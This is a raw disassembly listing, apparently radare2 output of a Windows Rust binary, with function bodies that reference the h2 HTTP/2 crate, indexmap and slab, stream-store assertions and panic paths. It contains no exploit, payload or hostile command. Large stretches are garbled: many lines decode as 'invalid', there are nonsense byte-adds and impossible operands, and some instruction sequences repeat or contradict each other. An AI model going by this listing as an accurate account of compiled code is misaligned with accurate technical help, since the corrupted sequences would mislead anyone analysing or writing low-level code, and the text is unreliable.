mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
movq qword [rax + 0x18], xmm12
mov rax, qword [rsp + 0x548]
add byte [rax], al
add byte [rax], al
cmp rax, 2
je 0x14009c876
lea rdx, [rsp + 0x560]
mov rsi, qword [rsp + 0x550]
mov rdi, qword [rsp + 0x558]
test rax, rax
je 0x14009c926
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x560]
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x80]
mov rax, qword [rsp + 0x550]
lock dec qword [rax]
jne 0x14009c876
mov rcx, qword [rsp + 0x550]
mov rdx, qword [rsp + 0x558]
call fcn.140004950
mov r8, qword [rsp + 0x2a0]
cmp r8, 2
je 0x14009c957
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2a8]
and al, 0xa8
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
add al, byte [rax]
add byte [rbp - 0x7b], cl
invalid
je 0x14009c8b7
and al, 0xa8
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
add al, byte [rax]
add byte [rbp - 0x7b], cl
sal byte [rdx + rdx + 0x4c], 0x8b
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x2a0]
cmp r8, 2
je 0x14009c957
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2a8]
mov rax, qword [rsp + 0x2b0]
test r8, r8
je 0x14009c951
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
invalid
add rcx, r8
add rcx, 0x10
add ecx, 0x10
invalid
add ecx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x2a8]
lock dec qword [rax]
or byte [rbp + 0x48], dh
or byte [rbp + 0x48], dh
mov rcx, qword [rsp + 0x2a8]
mov rdx, qword [rsp + 0x2b0]
call fcn.140004950
jmp 0x14009c957
mov rcx, rsi
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x560]
mov rcx, rsi
call qword [rdi + 0x80]
mov r8, qword [rsp + 0x2a0]
cmp r8, 2
jne case.0x140018f24.2396
jmp 0x14009c957
call qword [rax + 0x80]
movaps xmm6, xmmword [rsp + 0x760]
movaps xmm7, xmmword [rsp + 0x770]
movaps xmm8, xmmword [rsp + 0x780]
add byte [rdi], 0
add byte [rdi + rcx + 0x28], al
mov word [rax + rdx*4], fs
invalid
add byte [rax], al
movaps xmm10, xmmword [rsp + 0x7a0]
movaps xmm11, xmmword [rsp + 0x7b0]
sub byte [rsp + 0x7b0], bl
add byte [rdi], 0
add byte [rdi + rcx + 0x28], al
mov word [rax + rdx*4], fs
invalid
sub byte [rsp + 0x7b0], bl
movaps xmm12, xmmword [rsp + 0x7c0]
movaps xmm13, xmmword [rsp + 0x7d0]
add rsp, 0x7e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x120]
mov rdx, r15
jmp 0x14009c646
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore_raw.rs
call fcn.1401085b0
invalid
add byte [rax - 0x73], cl
test byte [rsp + rbx*4], ah
add eax, 0x89480000
test byte [rax + rsi], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0xfff7e80c
lea rax, [rsp + 0x59c]
mov qword [rsp + 0x330], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x338], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
sub byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0x330]
mov qword [rsp + 0x130], rax
mov dword [rsp + 0x130], eax
mov qword [rsp + 0x138], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x8cb9a
lea rcx, [rsp + 0x120]
call fcn.140108560
lea rax, [rsp + 0x59c]
mov qword [rsp + 0x330], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x338], rax
test byte [rax + rdi], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0x8cb3f
test byte [rax + rdi], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0x8cb3f
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0x330]
and al, 0x30
add eax, dword [rax]
add bl, ch
invalid
and al, 0x20
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi], ah
and al, 0x30
add eax, dword [rax]
add bl, ch
lea rax, [rsp + 0xf4]
lea rax, [rsp + 0xf4]
mov qword [rsp + 0xc0], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0xc8], rax
add byte [rax], al
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
and al, 0x28
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*8], ah
add byte [rax], al
invalid
and al, 0x28
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x8cabc
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x120]
call fcn.140108560
lea rax, [rsp + 0x30c]
mov qword [rsp + 0x260], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x268], rax
add byte [rax], al
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x478], rax
add al, 0
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add al, 0
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add al, 0
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add al, 0
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x8ca46
add al, 0
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add al, 0
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add al, 0
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add al, 0
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x8ca46
lea rcx, [rsp + 0x478]
call fcn.140108560
lea rax, [rsp + 0x30c]
mov qword [rsp + 0x260], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x268], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x478], rax
mov qword [rsp + 0x480], 1
mov qword [rsp + 0x498], 0
lea rax, [rsp + 0x260]
mov qword [rsp + 0x488], rax
mov qword [rsp + 0x490], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x478]
call fcn.140108560
lea rax, [rsp + 0x47c]
add byte [rax], al
jmp 0x14009c9d5
lea rax, [rsp + 0x47c]
jmp 0x14009ca4b
add rdx, rcx
mov qword [rdx + 8], r8
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
or eax, 0xa34d3
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
add al, ch
invalid
invalid
invalid
invalid
add al, ch
invalid
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140108630
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
or eax, 0xa2033
call fcn.140108970
mov qword [rsp + 0x120], r13
mov byte [rsp + 0x128], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fa88]
or al, byte cs:[rax]
or al, byte cs:[rax]
lea r8, [rsp + 0x120]
mov edx, 0x2b
call fcn.1401088e0
mov qword [rsp + 0x478], rcx
mov byte [rsp + 0x480], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013faa8]
or al, byte [rax]
lea r8, [rsp + 0x478]
mov edx, 0x2b
call fcn.1401088e0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
call fcn.140108970
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0x25
and byte [rdx], cl
add byte [rbp + rcx*4 + 5], cl
out dx, al
and byte [rdx], cl
add byte [rdx + 0x25], bh
call fcn.140108630
mov ecx, 0x8d480006
test byte [rsp + rax*8], ah
add byte [rax], al
add cl, ch
push rdx
std
invalid
lea rax, [rsp + 0xc4]
jmp 0x14009ca4b
invalid
dec dword [rax + 0x1202484]
add byte [rax], al
mov byte [rsp + 0x120], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamsprioritize.rsinvalid_frame
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
lea rcx, [0x14013ea5c]
lea r9, [0x14013f9a8]
lea r8, [rsp + 0x120]
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdx + 0xd], bh
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdx + 0xd], bh
call fcn.1401088e0
ud2
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x120], rax
mov eax, dword [rsp + 0xa4]
mov byte [rsp + 0x128], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013faa8]
lea r8, [rsp + 0x120]
mov edx, 0x2b
call fcn.1401088e0
mov qword [rsp + 0x120], rcx
mov byte [rsp + 0x128], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp case.0x140092cfa.51
lea rax, [rsp + 0x28c]
jmp 0x14009ca9b
lea rax, [rsp + 0x28c]
mov qword [rsp + 0xc0], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0xc8], rax
lea rax, str.dangling_store_key_for_stream_id
lea eax, [0x1401295a8]
lea eax, [0x1401295a8]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0xc0]
jmp 0x14009ca1b
mov byte [rsp + 0x120], al
lea rax, [0x14013eb98]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_WINDOW_UPDATE_frame
lea r9, [0x14013f9a8]
lea r8, [rsp + 0x120]
mov edx, 0x1b
call fcn.1401088e0
mov dword [rsp + 0x120], 3
lea rax, [0x14013ebd0]
mov qword [rsp + 0x20], rax
lea rcx, str.unexpected_flow_control_state
lea r9, [0x14013fa28]
sbb eax, 0x8d4c000a
or eax, 0xa2bc1
lea r8, [rsp + 0x120]
mov edx, 0x1d
call fcn.1401088e0
lea rcx, [0x14012927e]
or byte [rax], al
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i32
mov edx, 0x31
call fcn.140108630
lea rcx, str.assertion_failed:__id.is_zero__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotopeer.rs
lea r8, [0x140128f10]
add byte [rbp + rcx*4 + 5], cl
jno 0x14009ce5d
or byte [rax], al
mov edx, 0x1f
call fcn.140108630
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamsprioritize.rsinvalid_frame
call fcn.140108970
call fcn.140010970
mov ecx, 1
mov rdx, rsi
call fcn.1401082a0
mov byte [rsp + 0x120], al
lea rax, [0x14013ebe8]
jmp 0x14009ce1d
mov dword [rsp + 0x120], 3
lea rax, [0x14013ec00]
jmp 0x14009ce54
int3
add byte [rsi + 0x44], ah
movq qword [rsp + 0xd00], mm3
movapd xmmword [rsp + 0xcf0], xmm10
movdqa xmmword [rsp + 0xce0], xmm9
movdqa xmmword [rsp + 0xcd0], xmm8
ror byte [rax + rax], 1
add byte [rdi], cl
sub dword [rsp + 0xcc0], edi
ror byte [rax + rax], 0
ror byte [rax + rax], 1
add byte [rdi], cl
sub dword [rsp + 0xcc0], edi
ror byte [rax + rax], 0
ror byte [rax + rax], 0
movapd xmmword [rsp + 0xcb0], xmm6
mov rbp, r8
mov rdi, rdx
mov qword [rsp + 0x120], rcx
mov rsi, qword [rdx + 0x408]
lea rbx, [rsi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0x10], cl
jne 0x1400a275e
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a2779
xor eax, eax
movzx ecx, byte [rsi + 0x11]
test cl, cl
jne 0x1400a278c
cmp dword [rsi + 0xf0], 0
mov qword [rsp + 0x38], rbp
je 0x14009d112
mov dword [rsp + 0xa8], eax
add byte [rax], al
mov qword [rsp + 0x490], rbx
lea r14, [rsi + 0x18]
lea r15, [rsi + 0x1c8]
lea r12, [rsi + 0xf0]
call fcn.1400df770
mov qword [rsp + 0x738], rax
mov dword [rsp + 0x740], edx
mov rbp, qword [rsi + 0xb0]
mov eax, dword [rsi + 0xb8]
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x138], eax
lea r13, [rsp + 0x738]
lea rbx, [rsp + 0x650]
nop word cs:[rax + rax]
mov edx, dword [rsi + 0xf4]
mov eax, dword [rsi + 0xf8]
add byte [rcx + 0xaf02494], cl
add byte [rax], al
add byte [rcx + 0xaf02494], cl
add byte [rax], al
mov dword [rsp + 0xaf4], eax
cmp qword [rsi + 0x1d8], rdx
jbe 0x1400a297e
mov rcx, qword [rsi + 0x1d0]
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x1400a297e
add rcx, rdx
cmp dword [rcx + 0x114], eax
jne 0x1400a297e
mov r8d, dword [rcx + 0x48]
cmp r8d, 0x3b9aca00
je 0x1400a2b2f
mov rdx, qword [rcx + 0x40]
mov rcx, r13
call fcn.1400d5b50
cmp edx, 0x3b9aca00
jne 0x14009d095
xor eax, eax
xor r8d, r8d
mov ecx, 0xff
cmp rax, rbp
sar byte [rcx + 0xff], 0x48
cmp eax, ebp
setne al
jb 0x14009d0ab
mov r8b, al
mov ecx, r8d
test cl, cl
jne 0x14009d0c7
xor eax, eax
cmp edx, 0x3b9aca00
je 0x14009d0bb
mov eax, edx
cmp eax, dword [rsp + 0x138]
setne cl
jb 0x14009d0fe
cmp cl, 1
jne 0x14009d0fe
mov rcx, rbx
mov rdx, r12
mov r8, r15
call fcn.140025080
cmp qword [rsp + 0x650], 0
je 0x14009d0fe
mov rcx, r14
mov rdx, rbx
mov r8b, 1
call fcn.14001f580
cmp dword [r12], 0
jne 0x14009d020
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x490]
mov eax, dword [rsp + 0xa8]
test al, al
jne 0x14009d129
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
add byte [rax - 0x2f], cl
loopne 0x14009d169
test eax, eax
jne 0x1400a28fa
xor eax, eax
xchg byte [rbx], al
cmp al, 2
jne 0x14009d13a
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
pop rsi
invalid
lea rax, [rdi + 0x3a8]
mov qword [rsp + 0x4c8], rax
lea rax, [rdi + 0x3b0]
lea r15, [rsp + 0x1d8]
fadd dword [rcx]
add byte [rax], al
fadd dword [rcx]
add byte [rax], al
lea rcx, [rdi + 0x48]
mov qword [rsp + 0xa8], rcx
lea rcx, [rdi + 0x398]
add byte [rax], al
mov qword [rsp + 0x540], rcx
lea rcx, [rdi + 0x3e0]
mov qword [rsp + 0x498], rcx
lea rcx, [0x14013e948]
movq xmm6, rcx
shufpd xmm6, xmmword [0x1401138a0], 2
add byte [rdx], al
add byte [rdx], al
xorps xmm7, xmm7
movdqa xmm8, xmmword [0x140113a70]
movdqa xmm9, xmmword [0x140113a80]
lea rcx, [rdi + 0x484]
mov qword [rsp + 0x530], rcx
lea rcx, [rdi + 0x50]
mov qword [rsp + 0x598], rcx
add eax, 0x8d480000
pop r8
add eax, 0x8d480000
pop r8
mov qword [rsp + 0x528], rcx
lea rcx, [rdi + 0x400]
mov qword [rsp + 0x5b0], rcx
mov word [rax + rsi*4], fs
add eax, 0x8d480000
invalid
sbb byte [rax + rax], al
add byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
invalid
add byte [rax], al
mov word [rax + rsi*4], fs
add eax, 0x8d480000
invalid
add byte [rax], al
lea rcx, [rdi + 0x1a0]
mov qword [rsp + 0x138], rcx
lea rcx, [rdi + 0x1b0]
mov qword [rsp + 0x490], rcx
lea rcx, [rdi + 0x1c8]
enter 1, 0
mov qword [rsp + 0x4a8], rcx
lea rcx, [rdi + 0x230]
mov qword [rsp + 0x488], rcx
lea rcx, [rdi + 0x4b9]
mov qword [rsp + 0x5a0], rcx
lea rcx, [rdi + 0x238]
lea ecx, [rdi + 0x238]
lea ecx, [rdi + 0x238]
mov qword [rsp + 0x4b0], rcx
lea rcx, [rdi + 0x358]
mov qword [rsp + 0x520], rcx
mov word [rax + riz], fs
add eax, 0x4c890000
and al, 0x7c
mov word [rax + riz], fs
add eax, 0x4c890000
and al, 0x7c
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x88], ecx
mov dword [rsp + 0x8c], ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x538], rax
test byte [rax + rdi], ah
invalid
add byte [rax], al
test byte [rax + rdi], ah
add eax, 0x1f0f0000
add byte [rax], al
nop dword [rax]
invalid
invalid
mov word [rax + rcx*8], fs
and al, 0xc8
add byte [rax], al
nop dword [rax]
mov rcx, qword [rsp + 0x4c8]
mov rbx, qword [rcx]
movdqu xmm0, xmmword [rax]
and al, 0xc8
add al, 0
add byte [rax - 0x75], cl
sbb ebx, esi
movq mm0, qword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x660], xmm1
movdqa xmmword [rsp + 0x650], xmm0
mov qword [rcx], 0
add byte [rax - 0x7b], cl
fisttp dword [rdi]
invalid
mov al, byte [rax]
add byte [rax], al
add byte [rax - 0x7b], cl
fisttp dword [rdi]
test byte [rdx + 0x48000000], cl
mov dword [rsp + 0x1d0], ebx
mov qword [rsp + 0x1d0], rbx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r15 + 0x10], xmm1
adc dword [rdi + 0x10], ecx
movups xmmword [r15], xmm0
cmp dword [rdi + 0x100], 4
jne 0x14009d312
mov rax, qword [rdi + 0x158]
add byte [rax], al
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009d3b2
mov rcx, qword [rsp + 0xa8]
add byte [rax], al
mov rdx, rbp
call fcn.1400a3630
test rax, rax
jne 0x14009d3a0
test rdx, rdx
jne 0x14009d3a0
cmp dword [rdi + 0x100], 4
jne 0x1400a26c0
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
add dword [rax], eax
add byte [rbx + 0x62], dh
add dword [rax], eax
add byte [rbx + 0x62], dh
jmp 0x1400a26c0
cmp byte [rdi + 0x3dc], 0
je 0x14009d424
cmp dword [rdi + 0x3d0], 0
je 0x14009d424
leave
test rcx, rcx
je case.0x14001a3ad.2500
jmp 0x14009d424
test rax, rax
jne 0x1400a26c0
test rdx, rdx
jne 0x1400a27d8
mov esi, dword [rsp + 0x1f4]
mov qword [rsp + 0x348], rbx
add byte [rax], al
add byte [rax], al
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + rdx*2], ah
invalid
movdqa xmm0, xmmword [rsp + 0x650]
movdqa xmm1, xmmword [rsp + 0x660]
lea rax, [rsp + 0x350]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov byte [rsp + 0x340], 6
mov rcx, qword [rsp + 0xa8]
and al, 0xa8
add byte [rax], al
invalid
and al, 0xa8
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x40
add eax, dword [rax]
add al, ch
movabs r14, 0x5813850f0c3cfffd
test al, 0
add byte [rax], al
lea rdx, [rsp + 0x340]
call fcn.140079250
cmp al, 0xc
jne 0x1400a2c1c
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdi + 0x3a8]
movzx eax, byte [rdi + 0x3dc]
test rcx, rcx
jne 0x14009d424
test al, al
jne 0x1400a26a3
mov rdx, qword [rdi + 0x380]
cmp rdx, 2
je 0x14009d461
mov rax, qword [rdi + 0x390]
test rdx, rdx
je 0x14009d456
mov rdx, qword [rax + 0x10]
mov edx, dword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0x540]
call qword [rax + 0x60]
mov qword [rsp + 0x650], 2
mov qword [rsp + 0x670], 0
mov rsi, qword [rdi + 0x3e9]
test byte [rdi + 0x3e8], 1
mov byte [rdi + 0x3e8], 0
je 0x14009d54e
invalid
invalid
add byte [rax], al
invalid
test byte [rdx - 0x7d000000], bh
mov edi, 0x100
add dword [rax], eax
invalid
add al, 0x75
invalid
cmp dword [rdi + 0x100], 4
jne 0x14009d4b4
add dword [rax], eax
add byte [rsi*2 - 0x7874b7e9], al
pop rax
add dword [rax], eax
add byte [rax + 0x2b], cl
xchg dword [rax + 1], edx
add byte [rax], al
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
cmp eax, dword [rdi + 0x178]
add byte [rax], al
jae 0x14009d51f
mov rcx, qword [rsp + 0xa8]
mov rdx, rbp
call fcn.1400a3630
test rax, rax
jne 0x14009d4f0
invalid
test rdx, rdx
jne 0x14009d4f0
cmp dword [rdi + 0x100], 4
jne 0x14009d4f5
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x14009d4f5
jmp 0x14009d51f
test rax, rax
je 0x14009d516
mov byte [rdi + 0x3e8], 1
mov r14b, 4
mov rdx, qword [rsp + 0x650]
add byte [rax], al
add dword [rcx - 0x4a], eax
add al, 0x48
mov edx, dword [rsp + 0x650]
cmp rdx, 2
je 0x14009e710
jmp 0x14009dd42
test rdx, rdx
jne 0x14009d725
mov qword [rsp + 0x342], rsi
mov word [rsp + 0x340], 0x105
add eax, dword [rax]
add byte [0xcc951d35], al
and al, 0xa8
add byte [rax], al
add byte [rax], al
test byte [rax + rax*2], ah
add eax, dword [rax]
add eax, dword [rax]
add byte [0xcc951d35], al
and al, 0xa8
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x340]
call fcn.140079250
cmp al, 0xc
add byte [rax], al
lea rdx, [rsp + 0x340]
call fcn.140079250
cmp al, 0xc
jne 0x1400a2c9b
movzx eax, byte [rdi + 0x3f1]
test eax, eax
je 0x14009d660
invalid
add byte [rbp + 0x3840fc0], al
add dword [rax], eax
add byte [rbx - 0x7af0fd08], al
cmp al, byte [rdx]
add byte [rax], al
cmp eax, 2
jne 0x14009d7a0
mov rax, qword [rsp + 0x498]
mov rax, qword [rax]
test rax, rax
je 0x14009d7a0
mov rax, qword [rax + 0x10]
cmp rax, 1
jne 0x14009d732
test dword [rdx - 0x7cffffff], ebp
mov edi, 0x100
add al, 0x75
invalid
cmp dword [rdi + 0x100], 4
jne 0x14009d5a8
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009d5f5
mov rcx, qword [rsp + 0xa8]
mov rdx, rbp
mov edx, ebp
mov edx, ebp
call fcn.1400a3630
test rax, rax
jne 0x14009d714
test rdx, rdx
jne 0x14009d714
mov r14b, 4
cmp dword [rdi + 0x100], 4
jne 0x14009dd30
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x14009dd30
movabs rax, 0xb416870b7adb7c3b
mov qword [rsp + 0x342], rax
mov word [rsp + 0x340], 5
mov rcx, qword [rsp + 0xa8]
lea rdx, [rsp + 0x340]
call fcn.140079250
cmp al, 0xc
jne 0x1400a2f3a
mov rax, qword [rsp + 0x498]
mov rax, qword [rax]
mov eax, dword [rax]
mov qword [rax + 0x10], 2
cmp dword [rdi + 0x480], 2
jne 0x14009dc30
jmp 0x14009d7ad
cmp dword [rdi + 0x100], 4
jne 0x14009d680
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009d6c5
mov rcx, qword [rsp + 0xa8]
mov rdx, rbp
call fcn.1400a3630
test rax, rax
jne 0x14009d714
test rdx, rdx
jne 0x14009d714
mov r14b, 4
cmp dword [rdi + 0x100], 4
jne 0x14009dd30
mov rax, qword [rdi + 0x158]
xchg dword [rax + 1], ebx
add byte [rax], al
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x14009dd30
mov rax, qword [rdi + 0x3f2]
mov qword [rsp + 0x342], rax
mov word [rsp + 0x340], 5
mov rcx, qword [rsp + 0xa8]
lea rdx, [rsp + 0x340]
call fcn.140079250
cmp al, 0xc
jne 0x1400a2d77
mov byte [rdi + 0x3f1], 1
cmp dword [rdi + 0x480], 2
jne 0x14009dc30
jmp 0x14009d7ad
mov r14b, 4
test rax, rax
jne 0x14009dd30
test rdx, rdx
je 0x14009d7a0
lea rcx, [rsp + 0x340]
jmp 0x14009d935
mov rax, qword [rsp + 0x498]
mov rsi, qword [rax]
mov rcx, qword [rbp]
xor eax, eax
mov edx, 1
lock cmpxchg qword [rsi + 0x28], rdx
cmp rax, 2
je 0x14009db6f
test rax, rax
jne 0x14009d7a0
mov rdx, qword [rsi + 0x18]
mov rax, qword [rcx]
test rdx, rdx
je 0x14009dbc6
mov rcx, qword [rcx + 8]
cmp qword [rsi + 0x20], rcx
jne 0x14009dbca
cmp rdx, rax
jne 0x14009dbca
add byte [rax + 1], bh
mov eax, 1
xor ecx, ecx
lock cmpxchg qword [rsi + 0x28], rcx
jne 0x14009dbfd
nop word [rax + rax]
cmp dword [rdi + 0x480], 2
jne 0x14009dc30
mov dword [rdi + 0x480], 2
cmp dword [rdi + 0x440], 0
je 0x14009d9a4
mov rsi, qword [rdi + 0x408]
lea r14, [rsi + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi + 0x10], cl
jne 0x14009db8e
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009dba9
xor r15d, r15d
movzx eax, byte [rsi + 0x11]
test al, al
jne 0x1400a2c4f
cmp dword [rsi + 0xa8], 0
je 0x14009d8d4
add byte [rax + 0x2b], cl
invalid
mov word [rax + rbp*4], fs
